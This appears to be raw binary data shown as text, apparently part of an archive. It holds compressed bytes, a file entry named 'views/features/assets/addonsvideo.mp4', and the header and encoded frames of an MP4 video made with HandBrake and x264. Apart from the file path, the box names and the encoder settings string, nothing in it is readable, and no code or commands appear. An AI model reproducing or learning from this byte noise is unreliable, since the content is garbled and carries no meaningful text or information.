��nn)[��<�<�w���v��J���U>��1����+�`��	d��o:��v'��i�k��:��^K���Z�Bвv��'HdiwG�����9�i�6�~B�O�lkü����\���+m!I���ʓXp*��''���i<���Ψm�ޣ�9�P�W�)c~ã�kL0���p*E<�Q�G�(/�Wz�)�2�r�*$�,خ�T�&����B�U�9!�ҫ��S�g�����
8@�_��@�`V�Ԓ���(Ä��;5���\zY��I��W��*>[.�����[��+���'���`���D9�}s^ҋTzu�6�m�[�#�?��T}��lz�5p�)��c����ŔN�<��R�\gy�ԘS���!5�	#��ayE�`�eJ6"��A�m�x��j��&e�&QhxA�p$� 歽կ���f;�a�uG��s���*�(l4�A�6b8N���n!�B��ME���;)��#��ǭ��aM���>W�1 �VV��˃�#2
^.Ż���Ku��^e�@��*�ӝ��3HG%��D��#���͆n\�L��.aç���3�~Ds�2�ފ�B>(��o7�	���pmv�?%�m�Rv
���Aswp��d��;ۯq��/��@������O�/��nά!��*it�@鐿=��q%��F�<��6��d�-��P�5�i��IQUC��	�����
��X�۴�RU��L��ZE�N���"��pgo{�7��K
�����9(�;t}�@����415�Y��ڂ� wD��'Ȇn�
b�,�ҋзFԈ��[`o�
3�O��p�÷EF$TTN��-W��XX��l��@}P#"F�ң�
��x��!���q��As���SG=���C��";�>��������d}75�1@��G�{Ox��sT���~�X���?T��R�%�ӣܿlR�1���HxU�]X�6��]�	�
��	/���5t�h �Hx��W>Z�>�N�Yb�E�k�	.�ln�ϧ���2�;[bݲO�ۏ8��wI�x�.CD�O�@���z����&Wx��O�ŝd��:y��Ϸ
�+��8��&
���Lt�&[� "��@�
��i��I�Pn���}�����L�S$�XaA]�_�L�y�A}�+a���v(2ۦ���DŽ�"��(��%�-2�(B�V��z�[L{���:f�!��9���S�(셔x��_x�?|x��,��	�7��(x�sHA�8������\OW7/pL�b�4�Am��>h�2����备��E�Z�:�=r> 3�W�c͔So��(��X��jF��Jx���̘���9_����VM��;�W�ސF	.,R�d.}���r�A��ThW�<@^�6����ܿ&�߿a���M�1.JC�T"��Mc�r�;�y�n��;{�[��>b�z����50���>�#��EdtK���ü_1�6����U��.���c�̍��(-��M��/.1'o��JȎe3�#	hN��ݜgt4'����fF���7��j:<zgByL��L,J=j�a^����t�<�h�].C�t�Lֽ�	j�d)��{gc��'�鲋����w�8w>�;���N#�yY̌�1���s�|�Vd�����$�~����yk�
9�o���\縦%	�"�$)ho�����}
�B��_V+�������'���,P��T,m�E�	�7q���q΀�/��p�©���Y�c����$�b`d�zP���w+�
�����
c(H�	~�BK�'���kA��uAJ���N�{y��0��X3�YC(�H��T�lKD��	�j��/��l�<��h%��0?���wO����"SPl��Ĉ�Z^���.��_���'���b���rV_" I.�*a$� �Oz ���%��7z�3�2lv��[��0L��]Zbp��j�\5�S�F �;@��B��e!~�o�H�ij�u�%&�����v�>��+L�o��0�Z����mVJ2�Ț���`�/QCpGj�q2��n䊗�!v̾v�zՌ��w��<�*�a���m��'�dcCg�ˤv�S�\`�o/�h�.5&�`�(0Q��W-��'LT�7G|�)h�L�<յ�<p�G��h�)���l�mnGK#/J��x���FR��,o�%�Z�����s-̀��L��$��(C^)�#?����������v�G/��|F?��Cl3��4Do��}�e�]�˘���w�V�`��mcr��F����`�z�q(��·�ѳ�2B|�t�CW�d~�8>�ʒ���禗������&#)-o-�b�&�rOKxPZ��	�0����oN���L��D�.��x�����h���NߒTH�����	(A�ץّ
��Pt��q��f�m�P�y^l�ώX�˰�[��ݺ>��:x�î�ODp!��D�
?4�0C8�'a�;b�٦��K81K��3�\��[˶H�3m�<�&xK��8緌�p��م��7���������Q�,!���kb�}�A��$��'�K�����q��v�l�$A�C��c8P=�CK��.�,�X�v�)�q��N������T��l�N2��Dr��١s�f=VM���E������
w��2m.Öz�)�G�R�Z�	6��a����#��_Yj&R��A)�a��PrjG)32r��;Q��G�0�;�<��e���=�@���"��I�r��8�e?x��[U)����sss�B�a��=p��=}(}�/Y�kU���1�	��Ӟ��DN���jG��a��T���-A��ў��Tۡ�7�l�e�x&�A����L+ooÊ���vC����M+\]��ߛp�:��>�
�T~� ��w�ꑮ7���������=����ұ׸��No�Z�:�z�U��8����|�@�R�1}��qfMLԷ�m''պl�+�;wu�V�,��d(̰�����A��$�+�9�E�L�� �D��v}�s�}^��>��oa�WɎ��;��*z![#�p~>p9ˇaCo�RHiq'���]h��-�GgW��)���5,���S��6��p�{�o什�G�M8��̩DWIy^]3V}����`j���h�lߩ���a�Y�e�R:.m�1z��=��C-%8�QJi��7�9���iR��|�c�4|J�����J�(P�`�䠾�2�?��C�Y-�3�Q�(�i��S�h/��O��<T{�8r���q&{-�sX.�0ARץr
Mk�?�a�ͪ��o��@��k��bH���!͝���:��'�MlPL���?ˑV�����
��̭6�M���
���
�����L_|fg�������$i
��w�Nmd٧7N�)s\�S���F�g��v�`�:�ǀ;n�e�x�?
���h4c�W~qk���֧ݖ=?�y"i"�A��$��0*�oth�ZC��(���HCM�rV$�;dg5ٸ!G���������
Hʻt�΀�2�0�����?M�f8�=:%[���~�A�~*���7/Kƹ-U�۲�^�$N� *QU.�ن��+7�%�f��%R�hH�w"���e��i�$s��լ��o���@
���.��2���z���t�}`��
Fde�e<A5�YI���'mT��e����Y�gg��6�f��i��w�V�Xp'CEO�_5�B�B������C����!����L~�viP>�t"y����~O*�4�+���GK��GL�.�����=4��XX1�Y�F�䱛o.��7.�O��1�n�r�GU�_dek�u�W�����"�0T��w��D@�ۂߛ�f��������#�I\j#�s�"~�,�k�y�r������p[y<3y�g���o��v�*`\p�ے;y2�<�F%VR�{�h���
���8|���}�{�������/a�,�I3�t�=��I1���a�(��œi|^�:�����u��ƽ���t5x��/�c�/l�vt�ooY8�)�Y�#����:���(m���#e�@��$B�¯gC��/��z�Ӧ=�e�I���䀘�^š{2ef�g?��z�bR�(�e�	�v8\`ǂ�a��zS����v�~3g`yͼN����A��$�![d¦zs[Z�u�Ċ=��re�T'��y|��.ue��[it܋rMq�&d�Z��/"�u�;�L�Z�s�J��Z��/R�_b#Jf�:~a֝�.�.B陸Dl�mԣ���G��ٕ������
t?:r�Y�[�AڑG@y�x�O_3D��2��6�y!\�HXҷ4J�M@�Û�xDZR#�\��/�15���L�@����m��9
)uv{��������5��w�ֽ���f:� �wolEw�;��M�\�Ge��Sn	�ʏ����;b��LX��g��hm*[��R:�	�-g����	���b��w����R<�Vz=!�#D�p�遲� ��W�Ug�pB꾪�� �JY`s�#�U>���7܀�w�!����
�JW��1�$�\	�
�aT���J�3��>��F4&$l�W���fƜ�/[X�D?���<��<|��A�Q�˦[�TG�O+H��v�@x��[JKG��%mQp���PG�t��� P��ܯG������PKG��v��u��c!�w�-�/�	�\
ӳ��Ц�Ֆ?d�ژ�|��0(��}�},��L�?��B8�Itw���,�����E�r.S�~�)>^�]B��T}d����c��^;�B�z��
���bA�E�����:��$��Љ0�\��m��;�w�^N^#�<��j{z2��h�b%�M�|ON[���N!E�21����
����{BΪ/Ͽs>1���n$k/q��K'm��
5�-�S/&��fE�؀�����n��βpN�j���`�^9N8o �ܠ�w�8m�{6*/[�D$_\�%o޷Goȱ5`u�6=c6yI#w�LȨ�KِOH@��WN����
j^/�X/���|si���Vq5P�f�z1b�59��)^�1�������(���7c���jԔŭ�S?G@Of�FI~X$�9�fu��n���K�	�lu�.rU�����ʉt �����!q-s�3g�_��ix��jעO𧊭]��K�vװ��0Ӌ%i�$-[��d��n_ՅD��x�ĢG7�?��6{���=��FԹ�4)��;�P��|Gv����Ћ�%�2�t������s�Z��]��BV
I3/�N^���]�6O���W�g��VF�U��۝�RFj�Suya� ��}���Ϯ�l��YN���<�3l�Êot�p�m�k5��ee}��s��-9K3��1F�u�C�"���}[FY�Tb��U�y�ʺ<

>ǽ8�J8ȭ�)�ك������
I�z���<v��G+x�2!�����{X�u��T���H���k�|c��ԉ�U�y=K}X-�?�5D-�!Q���õ�����|<���$m��FRX�pE�N�p`2弽�dE��o�ƥ�A�A�7$���}�7�vkP��_�9E9�hl/���b���b����%[�wz�_���h:��b�ăBm4�W=��
�{J��/_�a���+;��q>CƲf��ԛf:dd\G��ܑM��6����5;ه[�s/$=��{���XĮO|.}����<
F���| ���]a�O���>�L�@UĒ:o�HI��]:�>���P(Tq��RSS�>�[V�@��0/N�௱"��ت�<�^_���*����&�]O8�%?ˇ�1�;<�?���x��Z�*��n���v�	MI߿��ߘ�ʇшғzSq�P�o�
������"�EW�Y��ڴMQ������1�7����J���H݋`��r����WQ]|�+B�2����#�9N��L��o�������!A�_m\z�a�}!n՟�I�S�m���T	��$��ֳ۽�9%��Y�j,/f�g��\�i��r��g�>�A�X$�9|��M\^2
A��,r�c�0k�Ȧ��[��%f�H�Un���Pqc�T긇�:z9�;k��C:/R@��܋�qAn��A���y����.
5�(qR�|B����!��G�7|=�bAEL���՗�]E�>�]���w�)ɸ.[����U~��DV		b[��\F2<@`��Z���-�<���#�Xq��}P/8�hy�Jx^?O��#��J�����X��i����ӧ~
��B��O��ط>؃�E9���7�uz�)���P.Kx�&`p�Xp�����Ӵ% }�M��u�����_��rZ�q�`׈�!r�K<#i�&v�2 
�
c��(�y.G$��{n%�����Z�E�La�2r�_mѡ�xcs��(Tn&N�M+�mCN1(��]{�����g� ������0���M3~g�Le��V�:�+��j\k��.�1>�Ü�5�w3z�r�1��xd�6�X��[3��]8�-ţG�R��D!���WM[�Rٴ�?A�o�ߖ�	�Җ�q��
(�	z	�z��8'r�g�y���6u���1�Q��Đ�h�*0?����h��Q���1�T&ֹj�����8�Hܘ��WCh�^'Q�M�}3)�����V�4f�>�I;�}�}qq�,���dL=2;�H1�1�>L�?�����Fo~�R])�N�v�k�v�ډɈ���A�A�y$�3L/9��@�SEW?>_�SjA�����3�����
����+�E�A�tv[�R�LM|�S�c�K��5ԛ��ӥ��#F�G�4Ȕ1o�zA�Ӯ^V#^d�j-
�
�p3�}IRd(s�-��Zfcx�O/��H+m���&�L�m�`�4�z�V���SU��F�U��!�Nh-M�JAa=�Bِ�"^3�)�{��"ThEg;^�S@�F_U�N,,�n8*r*��Ł8 }q1�RI2����0���j|��i0�~>~U��\�;f7Q���3cv��*�f�Y���m�P6iݗ�MM۫�	#��UZ�^��6/�C�5Cg
��5j�eЬ�/���X���1�l�����Oj��1м�\=۵}��3��!�2� �7h@l}�8E,�?�\����ە���k@ˊh�|Z�Z���qQ���zV�.�纵E^p�!�ES~�4��A9GK*�]v��M,�#�>��M��;mAЇO� ߱j%8t�\��QA��&�ud��;�
��0��z(�k�>;#��E=��'#�p5a�o�ȓ�I�ݚ�`ɻ�F�v7�~t�����m&��'sM�����E�rD]%
g�6�εQWJs�|bj.1�T��!m"d̆��4�6����	\��J�o�帋�8�P#�+��cVJ�h��n��n�C�5.�d8ܫ��p^5���je�Q|�&@L@E:�Q��֫=�8�,�]��L��Z��i�F��?�*c��+����Q�{��Pl$R�Z�L���_f���CGk\����w�t1A���� ʀ��1� ����n-�Y��ǙwNzlܗ�(�fg���zV������3���}
�i�ސ]jf7[C.�e�*�웧���m��v��jE�P�#]����X"��s�� (�9����]���
�K�/w��{HB��Wg��,Z�[�Z�D��w����F�_�oX��N�fg�_i��eY�L�"o�`4���+�ǿ�o�vLG�K�K�&h�!X���OF�٢s
��+�T$B���
@y�7!i�Q�ԒwģP��y�d�
�*x��4g���O�h/}��_/�+�ykQO���i�͐���Wv�O���c�}7�~�IR�MO˞<��݊
�0d�u�����!��L_V�C_9N ��عR��Z
�:�.�2��P&_�Q�Q�W�`����>%�-ƒj�q^fN[eぴ� ��N2�rx��d㍼��8��%18;aPm#��չљ��}�c	1���7?ݔ�C@A��&�"��.\�;)��^�z������pcc�uP;5)R����uV� ��F`�a5��] rT��/����S=�$)t��ͤ�t���d��~!�[`�+=�n�ȕi����j�,�@~�o��+,t����ɤ�ă���N�Ų���[GK{��uq����	d��'�}�����|��G��9��9[�lJ��?#Wܸ�sE��-���?��{��
�!�K-./�F��������6Bta���
���O��ص�������������g�"�����fBj�=EH��E�+Y�4�j�'��y����5�c�7�4�ƙ01�GVl�6e%���%��,����
���\�*wv �Y�ɤ��c�����	�m]:��ŜŒ������E�#��p�jЮ5��B�/�DjF���4@�ђ��9��!��?,
�?��p���\'�0��Q�I�1`"@�m�
��R5�*�:%�9�ӕa6�c㝾��;��X�s�N^%���׶����=[��1��+��!9���O3��o�aV�$-!�
��+�Ӝ�p�3�UA��Q�	��q	~�.�B�Ǝ��meH+੤d͓��
��4���6i���I�q��pA(C?;y�қ�D��AH�x�"�l���R3L�J�@��ewYI�Ոb��ߟIߞl��w�J��ÏF�˻(�k�h�˫4���Y�+;[�۹��V�2��>'���������U���T�;����w7�4�-7�lۦ8_\��3s��F�̴ڷ8��cTF)�
#��7=`-�u��w[?P'��Nv�JW��sGw'�n�Ή�Q
�p�\ܐy�2�a3V���i?z�֧9bpM��I�l���}-����Lˎ���X�y�я�vj2�n�N"x��s�W-	R�;��P�=K��6���	�]���l ������|�3IIn�t�[9i^H��T��uh�5������]z��[X�ܺ9��a��"��z�F'͔ �KġM�H�WU�d�K~���U@(�^���;��M��j��(&�LHy�X3kP�-�Ȝ (��u,P�p�Zi��s�e�0��eL�/�2}����^��%=)'�|��u۷��7�Fi��{x%�o��j�p9�&�9>��
���{H*��p���F�����6�(��K,A�=\P�L��c�Rh�ά�	�U��w��)M�(��lxo��*l*Ep��P6FV\�:"��Lp�y=H�9B��΁ˆ�+=�c�j7u[vZ�+]Փ��%k3�1���͡q����,h�%����~�)���} u�B@�*xr8��&�x�I$Ȍou〘������V�b���>^)z(��Ʌ�}�̀=>�P	�J=��ֱ�D\��HT�r��3ZxhP暑?\�c�q��Q�<�D����6��?~Mt���ؓg�C�ܻ�f�!�;��2����J�2&�
���8$a���>���<��߰���bB��1����n��v��^�
�����9�*�o��v8eL��<p���	?,|U�%>�Z��Ki�v�YSN8>]kW*�n��c��Ґ3���J@!#փ
TxZ�?�[L���wg��j�,EQ��C�I2��G�ٝа��}�1�`��	V+f���I!�Q�q_�h�偹bE�=ڀlW��.�,?a.Sl��-��W:]K��䮟����.��^7�� 
^��
!������
�t"���o�oQ��Y��ic��0�CZ�cJ������"U%8�ۗ�#�R��9��e���gd�5�ÖI�`'�X<�~�	ղ�����+3p���.өqm# :�J��-t�h��Q*c�g��3���Os3��"	�H��q�����0j!I�D��	�6�L�� �"xA�����͋��zy��4mlǒS��@�ز~Ƭ�]�B���hq�W��\^+9y"r�ε 4�u����,5���q{H',v����?���;��j�w��G;qC����&~��p6��f�*�y%{�}���5��ʪ}E�pn*�F��Z=!�wJ����bw�B5�D��&P�i&
�_8��F�g�L�2��j}������Ǭh�+�/�|�/ɠ�4����ܦ��eU��#�7�Ņ1@<��D-�3��g\�u=x'�a�C�bz�7\����i>�?���Kˢ�-�kH�;��s�A��&�����LC�ZK��K�}y�[��0d�}�d�&A�EӬ�٦"�)�sE�@��
g����3bѡ�K���J'�'N_B��`٥�ۣ����E&%�/+l/#���c���oP�1�W]���v@�Q��Ozüzx�"٥�sp�+����C,5ؒ�n��wF��-��x3o��=�#�>V5�E���?<��������)��7#�!��B���7���k�u�Wr ��0�u�V>GVV��J�;�F�HI�D�D���S`��%ߴ&��$h��%���4�zZ|��խ}�uuJ�lC<��
�<q�u����
vH��Т��ƀ������~�K�GC�4����iǶ���_����@����B��3�������O<ѻ�����{7�����˜�|�i�wlv�G���!�A�&�uq�2؉g*�p�^�����=K#T�M�y�nW��r�H�*#I�c�)�ՙ6�]�:xY�l��zն�t�s�e�՞��o�a@G�	�4s���v�O�tU!tz�O�x-���juSeC��/���sf%��,Vy[��"��KpC�<l����ȇ�6Gc��wA<��Xg*)�7B~	u…�E��||��d�g��CЍ�O���%�m��\���l�&$(Wgi��n_����9Ӳ�D<:����3� ��<�c�sw(�6%O?[dI����!��
Ղ�H�ʱst������bЂ�3b���s�*ʄSՠ����*��3�J#$��0K���d
��
?7�@R[�
�мU�]w2^�"&�t,��C-��=ҺW^%���f�"N�ux��[?����~��A� &��M��,Ջ��d�+D�1K��h�'���z{&7�3�$���!^�Vl ��z��f^]^q�1Ƥ�yE�G�UL�`E�+Ň��1�w�X����r`߶nX�
�P;��2�|�t��܈��ߏ\́!���c��t`,���uo�:�-�ޟ06�z��m��q�۳��� �]#]��N�
���#�W�o^?$��5;�����(�f�
!�ߢ�M��Uj�џ[�2�("�ш�]��}���jA�D"?�i��$��kiK���|�V�q�V\l ���e��z*�(�Q�٪�k��E����Vg�1~��d�4|j.ay�RaLIYtq�S�7�X�2�Ie
u�@k	��p��m����=�3�;:�$����9�p�@e�_�b!"�Q��������&:P�)Mw5j�X��x[o���W?���!��j�;�w��|�+ov�+]ul������%�[<L����(ZG$�/9?[��~��QՔ�)�/��	��l(8�������jsw)bJspxo�)]�9Iu�|���"��
U�>���t��_)ڐ���#��A���a*k*/� ��
�w����;n�J�qM�����v�4&Tn:.A��T��jӛ�ǒ�W)^+�����S�H�Ot)�N��='�ގ��4�ʶ������W���s�
:��}�{���\4���(��$i�x3���1�~�>�3�`3!�H4�H8�!��ӝ�)��W��_��f���t��'�(��~�}ۗ��sC���aɟ�^��]���<�N�i
��ߌ�0�@	�}#O:ߦ�+�<�]�����Y&���Ut���W'j��-6c�|T*yYA�bE<%�36���>0@x�dl���xu�C4.��TyV��Y6��9��g�Q�"SD�� y���me�>DN�i��v�6��_��<�3��tB�<�}��g\�`ֳ�PNI��Q��D-�:�\zY3P��~�Ac&ZO�	�ټ��A��4���!8'p�)�5��D3�$�>��$h����v)�0�Z4q�����9V���,	��-��M��*P�G9LJ����_���j�8C^>��%���@�Q�R��vY�sr0g�I�mƲ�$|h�?����'�(%��b��E�mh�ͅV
(�W��e�]&+qd��KD�)�=X����$�����������}�����#��߾K��㙠�j�Q�{^��{mv�mww�T՟?K��Z���ѣ4�ڟ��ܱUĎ��&���k�Q�Z��ؐ�y��<r��$�8��&����)b� �Ùt@v�4�����.��y�5^k��Z
�1]鍱a3���s��Q�?�n�`�����%���в��W���(��
Ŭ��#��r�U���jgv爌�*�q����z���.�����!۝:v��y�W��T��yS;
.ˣ#7�J��(1�k��M��x�9���;qJD��VrC$`�;��"%��4��dF���nC�=���v_*#�A�y�9��5�];�\��@�d4�����s���G�>|��
��3���.��G�
��g�䇈~�;�3����b�
�<�{{)�E�5��p�-Մ-���
Q&�6���ud˝�8�0�'ŝ��B"6���_�⋂�#�O����ȍ�R*�{N/1?�0Sw�6ܼ�cf
��ݒ�|����b�XKh����j����z��o�
�h�0$��n�0��Tv1�KfsUʽ��b�����|j$E�*,�f��٭P,�-oK.q鳪%�����,zT��.և��JX��q��4�Ff��"�vm�]�;�]�c�b�5�m�rp��׃�&�`~�<�Y�7�
�l�v�ĸ�ł_�~h���;'B��W���E� ��)�a_���}~s��ヌ07����>�+�J��$U��l��&����Ȃ/�͐�,��R����Q�*Z<�+���Q��bA��E,%�w����x��_13�^�eC
g�ڷ�\.U��~�v��Y	����DA��+ \��`t�#�
DT��K����:��䪌�Mj���v�#��tB�:u-#x�2i�}����P#�'M�0���0��D-�<p����H/�naܹ����Uv���]�#����Ceʆ�x�`\A��4�����H}+��ʀ���B}D�$�7:k�}ՅJV��%���s�R�n�5eqo�&�u,�g�ҭ�>��]�W�I�⍖m�ď�?�/e1,� 
�v����Y|�t��ScCq�������i�?te��H
]l���)*���h0��͋�5e��W!rD�mU��F\{�5�%��((H�K�4�Ud�3Lޯ-�J�t����-A�U�
{�6���J�'ͭl�5[\9z*mJ��&����d��5��8�_���e��Ct���i��TM:��%�o$q���6O�bƹd̀/<ɂ3B�6�q���s��pK�w�w*W��ôA1zA��E,%�wAl�q<��d�v�A4��.��p�R)UҐ�=꿩qo�1��fi~��8p:���iakS��<�8^����ܖ��c����}�$F`�;��j�����a�X*&�	tB�>gS�l
[ޠ9d���ԍ��Dm���s����0�D-�?9����mrĵz���h"�����Iۆ�5Vw{h��cn�u�A�4��'��Ä��U��h�\�"ܿ޴xq��E&ˎ�0Uڹ=��x��8��f�M�!/�nw�AA��r���ȍ$�-	,8�]�L�7k�{����׵26`'
��"�ON�
?��F7Xd���fH!�/� u���!P��:䳭\�X&"Pa��#ј^���c�0��h�3�:J�t�3j5�%������A�.E,%�r�����
��]Fd��2�at��?ǵB�8��d��q;[�
���x�frJ��
������~z���D2�j��oݫ��d@�{���E�cҀh�wt�����|;���D�T�����#<#�Ŕ3��.�MtB�wq�Jat$��$ C0��)c��_.�B��!�1S��0�o��-�OD-�>ds�s���Z�W���{���n"�.6�l�~APK�y3\i�{����%views/features/assets/addonsvideo.mp4nu�[��� ftypmp42isomiso2avc1mp41"moovlmvhd�Ҫf�Ҫf�2d@?trak\tkhd�Ҫf�Ҫf2d@|�$edtselst2dp�mdia mdhd�Ҫf�Ҫf_��(U�-hdlrvideVideoHandlerbminfvmhd$dinfdrefurl "stbl�stsd�avc1|�HH��4avcCM@(��gM@(��s`-A�A�+��`h��2�pasp stts��stssY-�sdtp   
PcttsHp#(�:�p�:�p�p:�p�p#(�p.��p:�p�p:�p�:�p�#(�p#(�p#(�:�p�#(�:�p�:�p�#(�#(�#(�p:�p�#(�p#(�p#(�p:�p�.��.��:�p�.��p#(�
p#(�p#(�p#(�.��p:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�p:�p�#(�p#(�:�p�:�p�:�p�#(�#(�:�p�p:�p�.��p:�p�#(�p:�p�.��p#(�p#(�p:�p�.��p#(�.��:�p�:�p�p.��p.��#(�:�p�:�p�.��p#(�.��p:�p�p:�p�:�p�:�p�#(�:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�:�p�.��:�p�:�p�p:�p�:�p�:�p�#(�stsc�$stsz��	c�	�<aS��Z	
6U
f�������
 /;y	�	��	����
k	8�I]t�(���c�=s]���	p�R=�a��S�)e��0��b�F�	��zix�pC�
��
X�|��|����� w ��6X.�Z�]O(�K�#����
O{��L� W�)��|������A����d`��cI������ID��4;�k2H'�;*�_�%�
�\�5��2���}��O������D��$���^�X����_���G�$E��,���3���K�����`���2}E�.���	�y��^�z��l��z|(���+{��qcT$!|*��)� ���_;%4.$(7b,;l�t���#�fO����,�-;5�������W��h��i��AH�G:o+Fe(��3_stcoRoudtagmeta!hdlrmdirappl:ilst2�too*dataHandBrake 1.2.0 2018122200free�qmdat�����E���H��,� �#��x264 - core 157 r2935 545de2f - H.264/MPEG-4 AVC codec - Copyleft 2003-2018 - http://www.videolan.org/x264.html - options: cabac=1 ref=2 deblock=1:0:0 analyse=0x1:0x111 me=hex subme=6 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=0 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=6 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=1 keyint=300 keyint_min=30 scenecut=40 intra_refresh=0 rc_lookahead=30 rc=crf mbtree=1 crf=22.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 vbv_maxrate=20000 vbv_bufsize=25000 crf_max=0.0 nal_hrd=none filler=0 ip_ratio=1.40 aq=1:1.00��e��3�����ģ�ef�2le���[�<�c�q����O�ȋ�hҧ�`��j��i9
(�≸&H�m�������r<=AJ��+N�ㆣ��?Lr�N0W낖�3	��;y��I�qt�HX�ߵ0Ւ���M�ž��[63`�����?��z�kȮ�w,�4�28�fB�;ȉw�#�ICT2�#��R�s[�-S<BT�КOx7&���~	ti����6�g8��.nJkd.9PKp��	};�{\��twr�hE�����Aj���F!0�h��M����CW�h�_(��__���"[��E��qTuE�Sa�+�8 R�v0Փ	��į��}�&kS-�w�*W�s�$Z%ќ3�q0����A�P|���?�k\%ߍ�:W^��Q���f�`ت��ԋ�Ut��4��`ET����rH���Y8���N���tyF�.��'%���>bw�ox#y�r��!A���1V���jaYNߨJ���~�H�m�k��f�R��zO��j��J`J�%�|�mIk("uGR�]Uf��~N�r�R>n'Ad,x'���L�U�k�]�!��Q����g�F��9>��U��PKi���&��
ప7*cpC.�^��B�GXVt��a+�8����|�=��K��ko�[g��±k2cG���!�^���i�+ɴ�"�DM�Rc�!@�4;;Da��w�O��k�m�%���<��ռ]
�	���r�VWv��,������h<���'�5�|$�J���a^�U[Á�ܸ:����>h~�þ�&l�7�I�{�}��?2�j�	��hNJ:,��>�Mq6������߶O#��E�‘� `�V��E�j��{�VƦ�T���3�8���A�f�=ͧ�d�D����D�L\��,mr@�U̩[�V��Bƛ�
���=J��g�>*�6q9�F�m�����J� ��5En>)�Yn:a�]H�gP�w���)m_��X
K	��p0��	]�BK��Ԁ��f~����9��:�Q����P�`�Ǽ	�k��F�B�y�
�.��� �>��E+E�MH�O�[�W7G bV�y��0��we�PlL��L��
�_&��Qz���p���bF!3
����*C����Q�a�M*���U��ѧqN��> !˃bu#��7t󶨍o�h��u�˴�;��_�ϫqL�$�TU˼���L�Hbu&.�,ލ�w�1���5�f��a��Һ��q�0���_���Lqckv�YG�|��5QWt�|���(2�g<���
��8z�P�m��o�pR'��fU.1���/7F�ޞ�z�Ռ���[d6I�4N���;<����&��q���o1���)��F�7�Ex�����fq܄Et(r��h}+{OA�
�J�Qw�f�}"���f�yw��j*���R�����!�h��Iq�ۇGwf<��Jq
4a�B�@_l��KSi-�>(��2����!Y�Al�'}[m�f���]/�]���Q`0R}�Hr�[J��11Ng�ZA��h!͋�,K�?"(P�Ԛ�d�����\��qAL�Q0��sy8t�)�3�|$�O_�&V"���c�X-��/��wы�1��o�:���Z؁��vj?H��ȦH�]`��T�ɐ^�������&���H.��f�f���&x�{c���4z�c��D�5��Et�
�"z&-�I���
Pih	lk��:&E(�`�0��`m�:澅K��R_67��Z�n�˦���Ir����c߅M�(��P��_%^NkO"�����q�o�M�����O�y^�`����%
+���	�Ae#E!�m����;����:B��UX�C����wGz����4t'�o<Aɪ�E�f��g:���n4�@�&�9P�g��+�̝�/$�:�mT���!z]q�h��,)���j��\H�j�7w����������ǻ��y����
.�ι94�#���V.�hT�;��ڿ���z#�vM� &	�^�\|\瀞Ў��(��F����{��J�.�N�l"���u�&P�q\�f�gE��(Q7�`�9u����+Ay$���oe�sB��`�Tۻ_}B����IڟL��J����M����y�ʏ�O��"wʊ���
V���p�-U�)v2�	�P���(��(a��u�:���.��
��̨ y���C�Đ5L��)�u�{��ߚT6��t�Zo<د^U;��/���e\<Ja=��gX\��2��Jh��4/Lҽ�=MIiiX�zL*���;G��l�=���Y
��4�|P��|��X}J�?_�ne�@��ʟw��}�M,�Ӷr�k�fd*|3ri]^�%p�C$��3i�>a�p3C|^��dRxn`җ	�z�q$��7
]��7������q�	+��d�;|Q�(����:-�V�x�'��9��n<u\|����l�e�
��_y�{�8��"�Kl]�f��Y)���������
��ug�I����,�I�}_��k��d��5ׄ]��!a��a� kO}��huA6��~�<#�;���L�� 8�L���������"��r@�ep`8���t	�AUa!����Cr��J�PيD6�(s��_��c�1�
3rӉ#'
��ª5�٫�L)����v�,�����^yx�'�|��)�2�[i����%��^����Hʞ��ie�g<��1y}E.Џ��T�\��c
�H>���{2���κ�y��Σ�1�i�A&"�T^(�����x�f`���+���69yw��i
"؈|d�J�� q���_��U��Y��Tҙ�*�ދ���ߵZ����x
jC��N����0�=�w��(EjP�Y����^��,��	ޮ��N�-3l�/�Eq_��_|��,���_|�!HاU�[�s�d�űc�\������n����C�
�s�}b��@Ae�`@��j0ӳ�C	�'�]|{��=%?e.�AYQ��PeY�#a{��yk���Dk��H��
��N�p�<��^e���5���}^�yc\�MB�ɳ��z���SB7nm'w*3 1G6:�aw#d�]qĻ
Z��E�|�X����_?/�W�����V�m&B�;�J�KOa�}m��xu�K�l�Wg�U[(XuR�p����sME�x�K���C�k��E����ɡ��8�y4ޱf�-��V|��f/��W���~��v���?0h^Ci��X	C�
 X�)晚��`JqTh�ɥ1S�rwL��`Q�^�P�ڔ��)�ا�]x���q�j�	T]��P��W'���zb�n�.{�X*{�(0�{�{�<�z��֜��wj���O�S�n��s�;Fmu;����9��*��h!�b����F)-N�������Y�Ư�!H}�
�t���:Os<�-�5�In�<��n�;f����d&T��/��#�C�M_���~�g��}R�@��%�mm���Cm���P*[%2��ٞL���G":LA@'L�2��	j�66W�뫡��8��J���lih+���T�N���*c��d�p���R��SIJ�s�^�#�E�0�Ya�J?��ھ�ٮ�����9/�gte��	�ƽ�b��3$�7����ڣINaF���,������A*�	L�oܹ	_A�"lC���/��7�.L?�R���QPc����l�	�!�9���m��-0�_�F�t��VcAss��L>!����|\ʕX�@jh�N��K1R��<����(����L�/�W�~��h�sA� X�n0�d�]��
���"
�!_A��3V�\�U�D��c"ϧ[9�.�#�'g~h<�zs�{U���i.$W-\����I�#b�3G�Qm��O�{�g������9����Dg-U>_�y9�f��L�]4c��;<F})�>g��5p:|T ���u����DZV�ń@��
��	YK�_�'+�,�]����CX����H<훏�����xvbSs�vd,�>�=��x'��^������X/�|*���{��F�~�/�ޅ��B��-�V�C��Ҵh����$
.0�p�z5�!U�� ���1������̒���uj�V[��<�?�E˨_�b`[�]��e{� ��C:ǥ��Uc�7ro8�Zj��vJ����_�0҈��T�7�t�*5�cԉJ#��3јОǑ,
������$Q�4��X�f:^��R �m=�Ȇ�W+|
�o��C�]�=�oez
��q���.s�Hx��Z�o�w�����!��=�.ϥ�0�z�/���Okؚ�VM�y�u�#/�a�l�e�=�K��#��d���j�a�;���PI���
��(�5�<�r�CA�+d��C�0��F�T4 p{������p�����~�
